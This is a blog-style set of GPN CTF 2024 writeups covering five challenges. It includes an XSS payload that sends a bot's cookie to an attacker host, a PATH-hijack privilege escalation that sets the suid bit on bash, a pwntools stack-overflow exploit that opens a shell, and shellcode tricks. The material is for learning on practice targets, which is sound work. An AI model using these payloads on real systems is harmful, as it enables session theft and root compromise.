Published on

GPN CTF 2024 Writeups

Authors

Introduction

These are the writeups for three pwn challenges, one misc challenge, and one web challenge.

NameCategoryDifficultySolves
Refined NotesWebEasy51
No CryptoMiscEasy24
GiftPwnEasy9
DreamerPwnEasy10
Future of Pwning 1PwnEasy63

Refined Notes

CTFGPN CTF (CTFtime)
AuthorWhoNeedsSleep
CategoryWeb
Solves51

image

Solution

This challenge doesn't have source files, so let's visit the two provided sites:

Challenge page

image

Admin bot page

image

So we can give a UUID to the admin, and the bot will visit it. We can see that if we create a note, we will be redirected to a page with the UUID in the URL. So this UUID can be given to the bot.

image

If we check the HTML source code of the challenge page, we see:

<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Refined Note Taking App</title>
        <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
        <script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
        <script defer src="/static/index.js"></script>
    </head>
    <body class="bg-gray-100 p-4">
        <div class="max-w-lg mx-auto">
            <h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
            <div id="container" class="mb-4 flex flex-col">
                <iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc="a"></iframe>
                <textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
                <button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
            </div>
        </div>
    </body>

We can see that our input is put in the srcdoc attribute of the iframe. We also see an index.js file. Let's check that file:

submit.addEventListener('click', (e) => {
    const purified = DOMPurify.sanitize(note.value);
    fetch("/", {
        method: "POST",
        body: purified
    }).then(response => response.text()).then((id) => {
        window.history.pushState({page: ''}, id, `/${id}`);
        submit.classList.add('hidden');
        note.classList.add('hidden');
        noteframe.classList.remove('hidden');
        noteframe.srcdoc = purified;
    });
});

We can see that when we submit a note, it first sanitizes our input with DOMPurify. It's using version 3.1.4; 3.1.5 is the latest version at the moment I am writing this. There is no CVE or known bypass for this version as far as I know.

After sanitizing, it will post it to the backend. If we get a response back, it will put our input purified inside noteframe.srcdoc.

So what is the goal of this challenge?

We need to get XSS to steal the cookie of the bot. Most of the time when there is a bot, the goal is to steal the cookie. We need to find a way to get XSS. A DOMPurify bypass is probably not the way. The interesting part is that our input is directly put inside the srcdoc attribute of an iframe.

I first tried to close the srcdoc attribute and add a src attribute. It didn't trigger anything, so I thought it took the input literally and moved on to find some other stuff. But it didn't work because when an iframe contains a src and srcdoc attribute, the srcdoc attribute will take priority.

From here: If the src attribute and the srcdoc attribute are both specified together, the srcdoc attribute takes priority. This allows authors to provide a fallback URL for legacy user agents that do not support the srcdoc attribute.

So you can use other attributes to get XSS here. But the intended way to solve this, which I did during the CTF, was using HTML encoded entities.

My teammate found this issue on Github.

So when using a payload like this &lt;img src=x:x onerror=alert(1)&gt;, it will give us an alert:

image

So now we can easily change the payload to send us the cookie:

&lt;img src=x:x onerror=document.location='YOURSITE/?f='+document.cookie&gt;

If we send it to the admin bot and check our webhook, we get the flag:

image

No crypto

CTFGPN CTF (CTFtime)
Author13x1
CategoryMiscellaneous
Solves24
Filesno-crypto.tar.gz

image

Solution

When we unzip the file, we can see a few files. Let's check the source of the binary called cli:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    while (1) {
        char date[256];
        printf("Guess when I was encrypted ([YYYY]-[MM]-[DD]T[HH]:[MM]:[SS]+[HH]:[MM]): ");
        if (fgets(date, sizeof(date), stdin) == NULL) {
            printf("Error reading input.\n");
            return 1;
        }
        date[strcspn(date, "\n")] = '\0';
        pid_t pid = fork();
        if (pid == -1) {
            printf("Error forking process.\n");
            return 1;
        } else if (pid == 0) {
            // Child process
            char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
            execvp("openssl", argv);
            printf("Error running openssl.\n");
            return 1;
        } else {
            // Parent process
            int status;
            waitpid(pid, &status, 0);
            if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
                printf("The guessed date is correct!\n");
                return 0;
            } else {
                printf("The guessed date is incorrect. Try again!\n");
            }
        }
    }
}

So, the binary first asks for a date. It then tries to decrypt the flag.enc file, and if the date is correct, it will let us know; otherwise, it will tell us it is wrong.

If we check the encrypt.sh file, we see that it encrypts the flag with OpenSSL based on the date:

date=$(date -uIseconds)
openssl enc -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag -out flag.enc

Let's check the Dockerfile of the challenge:

# docker build -t no-crypto . && docker run -p 1337:1337 -t no-crypto
FROM debian:bullseye
RUN apt-get update && apt-get install -y --no-install-recommends build-essential openssl socat \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN mkdir /app
ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /app/flag
COPY cli.c encrypt.sh /app/
WORKDIR /app/
RUN gcc -o cli cli.c \
&& bash encrypt.sh && rm flag \
&& chmod u+s cli \
&& chmod 700 /app/flag.enc
# save space in final image by uninstalling gcc and apt
RUN apt-get remove -y build-essential && apt-get autoremove -y && rm -rf /var/lib/apt/lists/*

RUN useradd -m ctf
USER ctf
EXPOSE 1337
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:/bin/bash,pty,stderr,sigint,sane

Here, we can see that it echoes the flag inside /app/flag. It then compiles the cli binary and runs encrypt.sh. After this, it will remove the flag and make the cli binary a suid binary. It also changes the permission of flag.enc so that only root can access it.

A few points we notice here is:

  1. ARG is used for the flag, so the flag will not be available during runtime, only build time. If ENV was used, it would be accessible inside the container, but it is not useful because there is no process running as root; otherwise, we could get root and access /proc/$PID/environ.
  2. Because of chmod u+s, cli is a suid binary. This means that no matter which user runs the binary, it always runs as the user that owns the file. In this case root.
  3. We see that encrypt.sh is run, so we should check the date when flag.enc is created.

So, what is the bug?

A suid binary is not vulnerable by default. There are a few standard binaries in Linux that always have a suid bit, for example, passwd:

image

So, it depends on the binary itself if it's vulnerable or not. If we take a closer look at cli.c, we can see that it calls openssl without using a full path (e.g., /bin/openssl):

char* argv[] = {"openssl", "enc", "-d", "-aes-256-cbc", "-k", date, "-pbkdf2", "-base64", "-in", "flag.enc", "-out", "/dev/null", NULL};
execvp("openssl", argv);

This means we can perform a trick called path hijacking. In Linux, when we call a binary, the system searches for the binary in a list of directories defined in the $PATH environment variable. We can modify this environment variable to anything we want.

An explanation of such attack, taken from here:

  1. Path Environment Variable: Linux systems have an environment variable called "PATH" that contains a list of directories in which the system searches for executable files. When a command is executed, the system looks for the corresponding executable file in these directories in the order specified by the PATH variable.
  2. Finding a Vulnerable Application: The attacker looks for a vulnerable application that performs file operations or executes commands without properly validating user-supplied input or controlling the search path. For example, an application that uses relative paths or does not sanitize user input.
  3. Identifying the Vulnerable Path: The attacker identifies a vulnerable point in the application where the input is used to construct a file path or command without proper validation. The goal is to find a way to manipulate the path used by the application to execute arbitrary files or commands.
  4. Crafting the Attack: The attacker provides input that includes special characters or sequences to manipulate the path. These characters or sequences are designed to bypass security checks and allow the attacker to traverse directories or execute arbitrary files.
  5. Exploiting the Vulnerability: By carefully constructing the input, the attacker can trick the vulnerable application into executing a malicious file or command. This can lead to various consequences, such as arbitrary code execution, unauthorized access, or privilege escalation.

In this challenge, we can do something like this:

echo -e '#!/bin/bash -p\nchmod +s /bin/bash' > /tmp/openssl # [1]
chmod +x /tmp/openssl # [2]
export PATH="/tmp:$PATH" # [3]
  1. Here we create a file in /tmp with some code that will make the bash binary a suid binary.
  2. We make the file executable.
  3. We add the directory /tmp to our PATH. Notice that we add it at the beginning, so the system looks there first.

image We can see that /tmp is now added. With this setup, when we call cli, it will run as root and execute our custom openssl binary.

image

We can see here that we successfully added a suid bit to bash. If we run bash -p, we will get the effective UID and GID of root. With this, we can read flag.enc.

image

We can now use stat on the file to see the exact date of the file:

image

We change the format a little bit and can run this command to decrypt the flag:

openssl enc -d -aes-256-cbc -k "2024-05-29T01:31:06+00:00" -pbkdf2 -base64 -in flag.enc -out flag.txt

During the ctf, I used the date from the output of ls -la, so I bruteforced the correct date.

#!/bin/bash

# Define the start and end times for the brute-force range
start_time="2024-05-29T01:31:00+00:00" # Adjust the date to the correct format and time
end_time="2024-05-29T01:32:00+00:00"   # Brute-forcing within a 1-minute window for example

# Convert start and end times to seconds since epoch
start_epoch=$(date -d "$start_time" +%s)
end_epoch=$(date -d "$end_time" +%s)

# Loop through each second in the range
for ((epoch=$start_epoch; epoch<=$end_epoch; epoch++)); do
    # Convert epoch back to the date format used in the key
    date=$(date -u -d "@$epoch" +"%Y-%m-%dT%H:%M:%S+00:00")
    
    # Attempt to decrypt the file
    output=$(openssl enc -d -aes-256-cbc -k "$date" -pbkdf2 -base64 -in flag.enc -out - 2>/dev/null)
    
    # Check if decryption was successful and contains "GPNCTF{"
    if [[ "$output" == *"GPNCTF{"* ]]; then
        echo "Decryption successful with key: $date"
        echo "$output"
        break
    fi
done
exit 1

image

Gift

CTFGPN CTF (CTFtime)
Authorintrigus
CategoryPwning
Solves9
Filesgift.tar.gz

image

Solution

After unzipping, we get the source code of the challenge:

.section .text
    .global _start

read_input:
    # Read 314 bytes + 16 free bytes from stdin to the stack
    sub $314, %rsp                # Make room for the input
    mov $0, %rax                  # System call number for read
    mov $0, %rdi                  # File descriptor for stdin
    mov %rsp, %rsi                # Address of the stack
    mov $330, %rdx                # Number of bytes to read
    syscall                       # Call the kernel
    add $314, %rsp                # Restore the stack pointer
    ret

_start:
    # Print the message to stdout
    mov $1, %rax                  # System call number for write
    mov $1, %rdi                  # File descriptor for stdout
    mov $message, %rsi            # Address of the message string
    mov $message_len, %rdx        # Length of the message string
    syscall                       # Call the kernel

    call read_input

    # Exit the program
    mov $60, %rax                 # System call number for exit
    xor %rdi, %rdi                # Exit status 0
    xor %rsi, %rsi                # I like it clean
    xor %rdx, %rdx                # I like it clean
    syscall                       # Call the kernel

message: .asciz "Today is a nice day so you get 16 bytes for free!\n"
message_len = . - message

The challenge is made in assembly. It does 3 main things:

  1. Prints the message to stdout
  2. Read input from the user
  3. Exit the program

When reading our input, it gives 16 bytes extra as a gift. We can see that it subtracts 314 from rsp. We can send 330 bytes. This means that we have an overflow. We can hit the rip with 314 bytes.

The size of rip is 8 bytes. Thus, we can send 314 + 8(this will be placed in rip) = 322 bytes to control rip. The read syscall returns the amount it reads in rax. If we check what the syscall of 322/0x142 is, we see that it's execveat. With this, we can execute commands. At the ret of read_input, rsi still contains the address of our input. So we can put /bin/sh at the start of our buffer.

When we overflow and jump to the syscall gadget, we can see:

image

We see that rdx is not empty, so it will segfault. Luckily, there is a gadget that xors rdx before calling syscall. It's used when exiting the program (check the source above).

image

So my final script looks like this:

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
b *read_input+0x28
c
'''.format(**locals())

exe = './gift'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
context(terminal=['tmux', 'split-window', '-h'])

REMOTE = True

if REMOTE:
    io = start(ssl=True)
else:
    io = start()
    
payload = flat(
    b'/bin/sh\x00',
    b'A' * (314 - 8),
    0x401059
    )
io.sendafter(b'!\n', payload)

io.interactive()

If we run this on remote, we can get the flag:

image

Dreamer

CTFGPN CTF (CTFtime)
Authors1nn105
CategoryPwning
Solves10
Filesdreamer.tar.gz

image

Solution

After unzipping, we get the source code of the challenge:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#define ROTL(X, N)  (((X) << (N)) | ((X) >> (8 * sizeof(X) - (N))))
#define ROTR(X, N)  (((X) >> (N)) | ((X) << (8 * sizeof(X) - (N))))
unsigned long STATE; 
unsigned long CURRENT;

char custom_random(){
    STATE = ROTL(STATE,30) ^ ROTR(STATE,12) ^ ROTL(STATE,42) ^ ROTL(STATE,4) ^ ROTR(STATE,5);
    return STATE % 256;

}

void* experience(long origin){
  char* ccol= mmap (0,1024, PROT_READ|PROT_WRITE|PROT_EXEC,
              MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    size_t k = 0;
    while(k<106){
        *(ccol+k) = 0x90; //nop just in case;
        k++;
    }
    k=16;
    *((int*)ccol) = origin;
    while(k<100){
        *(ccol+k)=custom_random();
        k++;
    }
    return ccol;

}

void sleepy(void * dream){
    int (*d)(void) = (void*)dream;
    d();
}


void win(){
    execv("/bin/sh",NULL);
}

void setup(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

int main(){
    setup();
    long seed=0;
    printf("the win is yours at %p\n", win);
    scanf("%ld",&seed); 
    STATE = seed;
    printf("what are you thinking about?");
    scanf("%ld",&seed);
    sleepy(experience(seed));
}

We can see that we can provide a seed two times. The first one is stored in a global variable STATE, and the other one is given to the experience function.

In the experience function, a read-write-execute (RWX) memory section is created, and 160 NOPs are inserted. Then, the origin value is placed at the start of the section. The origin value corresponds to the last seed we provide. Subsequently, the function runs 84 times, calling custom_random() each time. This function performs some encryption based on our STATE. After this, the function sleepy() executes our shellcode.

Initially, I considered brute-forcing all possibilities to obtain a valid shellcode at the end the correct way, but that would be infeasible.

How can we call the win function?

When the shellcode is called with call rax, the return address is pushed onto the stack. Since the return address is in the binary section, it is close to the win function.

Here is the stack before calling our shellcode:

image

Here is the stack after calling our shellcode:

image

Thus, we can calculate the offset between the return address and the win function:

image

The offset is 3. Therefore, we can add 3 to the pointer at rsp(top of the stack, our return address) and then return. We need to put this payload in the origin. This is because the other one gets encrypted. We only have 4 bytes to do this, because it casts *((int*)ccol) = origin;.

We can use the shell-storm assembler:

image

We need to convert this to decimal. We can do this in python. We need to reverse the order because of the endianness:

image

For the ret instruction to call the win function, we need to find a number that will become ret after encryption. You can easily brute-force this and find that using 108 will become ret.

So if we submit both and check in gdb, we can observe this:

image

We can see that we increased the pointer by 3. It is now pointing to the win function. If we step through to skip the NOPs, we can see our ret:

image

So now it will return to the win function and get the flag:

image

Future of Pwning 1

CTFGPN CTF (CTFtime)
AuthorOrdoviz
CategoryPwning
Solves63
Filesfuture-of-pwning-1.tar.gz

image

Solution

After unzipping the file, we can see a few files.

If we check the Dockerfile, we can see that it uses an emulator from Github.

# docker build -t future-of-pwning-1 . && docker run -p 5000:5000 --rm -it future-of-pwning-1
FROM python:3.12

RUN apt-get update -y && apt-get install -y --no-install-recommends build-essential curl \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN pip install --no-cache-dir flask

RUN curl -L https://github.com/ForwardCom/bintools/archive/779c06891cba05a97a214a23b7a63aeff25d983a.tar.gz | tar zxf -
WORKDIR bintools-779c06891cba05a97a214a23b7a63aeff25d983a
RUN make -f forw.make && mkdir /app && cp forw instruction_list.csv /app

WORKDIR /app

ARG FLAG=GPNCTF{fake_flag}
RUN echo "$FLAG" > /flag

COPY app.py ./
EXPOSE 5000
ENV FLASK_APP=app.py
CMD ["flask", "run", "--host=0.0.0.0"]

It compiles the emulator and runs app.py. Let's check app.py:

from flask import Flask, request, redirect, url_for
import subprocess

app = Flask(__name__)


@app.route("/")
def upload_form():
    return """
    <!doctype html>
    <html>
    <body>
        <h2>ForwardCom Emulator</h2>
        Please upload a binary to emulate.
        <form action="/upload" method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <input type="submit" value="Upload">
        </form>
    </body>
    </html>
    """


@app.route("/upload", methods=["POST"])
def upload_file():
    if "file" not in request.files:
        return redirect(url_for("upload_form"))
    file = request.files["file"]
    file.save("/tmp/binary.ex")
    data = subprocess.check_output(["/app/forw", "-emu", "/tmp/binary.ex"])
    return data[-500:]

if __name__ == "__main__":
    app.run(debug=False)

So app.py just runs a Flask web server where we can upload a binary, and it will emulate it with forw. We can also see an instruction_list.csv file. This file is just added so that the emulator can work.

If we run the binary forw, we can see a few things we can do in the help menu:

Usage: forw command [options] inputfile [outputfile] [options]                                                                                                                      
                                                                                                                                                                                    
Command:                                                                                                                                                                            
-ass       Assemble                                                                                                                                                                 
                                                                                                                                                                                    
-dis       Disassemble object or executable file                                                                                                                                    
                                                                                                                                                                                    
-link      Link object files into executable file                                                                                                                                   
                                                                                                                                                                                    
-relink    Relink and modify executable file                                                                                                                                        

-lib       Build or manage library file                                                   

-emu       Emulate and debug executable file                                              

-dump-XXX  Dump file contents to console.                                                 
           Values of XXX (can be combined):                                               
           f: File header, h: section Headers, s: Symbol table,                           
           m: Relinkable modules, r: Relocation table, n: string table.                   

-help      Print this help screen.

....

Example:                                     
forw -ass test.as test.ob                    
forw -link test.ex test.ob libc.li           
forw -emu test.ex -list=debugout.txt 

So our goal is to make a binary that when emulated will give us the flag. When I googled for the emulator, I found a nice documentation about it.

I also used the Github page with examples.

In chapter 12.4, we can read about the calling convention. It states that: The first 16 parameters to a function that fit into a general purpose register are transferred in register r0 – r15. The first 16 parameters that fit into a vector register are transferred in v0 – v15

We can also read about the return value:

Function return values follow the following rules: A single return value is returned in r0 or v0, using the same rules as for function parameters. Multiple return values of the same type are treated as a tuple if possible and returned in v0 if the total size is no more than 16 bytes. A function with two return values will use two registers for return, using two of the registers r0, r1, v0, v1 as appropriate, if each of the two values will fit into a single register according to the above rules. For example, a function can return a result in v0 and an error code in r0. Or a function can return two vectors of variable length.

We can also read how to create a section(in the code example part of the documentation):

image

Also for calling external functions.

image

I downloaded the libc.li from this Github repository. We can also see all supported functions.

To make it easier, let's create a script:

#!/bin/bash

./forw -ass test.as test.ob
./forw -link test.ex test.ob libc.li
./forw -emu test.ex

Now we can start with creating our assembly file:

// Here we define a section with 2 strings that I will use later in fopen.
const section read ip                         
file: int8 "/flag", 0   
md: int8 "rb", 0
const end

// Here I create another section that is writable. I also use uninitialized, so the section only coontains zeroes. 
bss section datap uninitialized
int64 buffer[80]
bss end

// Here I start the code section. So this will be executed. 
code section execute align = 4
extern _fread: function // Calling external function from libc.li
extern _fopen: function
extern _puts: function

_main function public   // Defining the main function                                             

int64 r0 = address([file])  // Here I put the address of the file variable I defined above in r0
int64 r1 = address([md])    // Here I put the address of the md variable I defined above in r1               
call _fopen                 // Here I call fopen with the arguments. So it will run fopen("/flag", "rb")
int64 r15 = r0              // The return value of fopen will be the fd. I put it in a random register that I can use later. In this case r15

int64 r0 = address([buffer]) // Here I put the address of the buffer in r0
int64 r1 = 1                 // This is the size in bytes that fread will use to read 
int64 r2 = 80                // This is the number of elements that fread will use to read
int64 r3 = r15               // Here I put the fd from fopen in r3
call _fread                  // Here I call fread like this: fread(buffer, 1, 80, fd)

int64 r0 = address([buffer]) 
call _puts                   // Now after fread the flag will be in buffer, so we can print it out. 

// Here we just clear and exit
int r0 = 0                             
return                                           

_main end
code end

So it actually does this:

int main() {
  int fd;
  char buffer[80] = {};

  fd = fopen("/flag", "rb");
  fread(buffer, 1, 80, fd);
  puts(buffer);
  return 0;
}

Let's create a fake flag at /flag, so we can compile without errors. After compiling, we can see that it prints the flag:

image

If we upload this binary, we get the flag:

image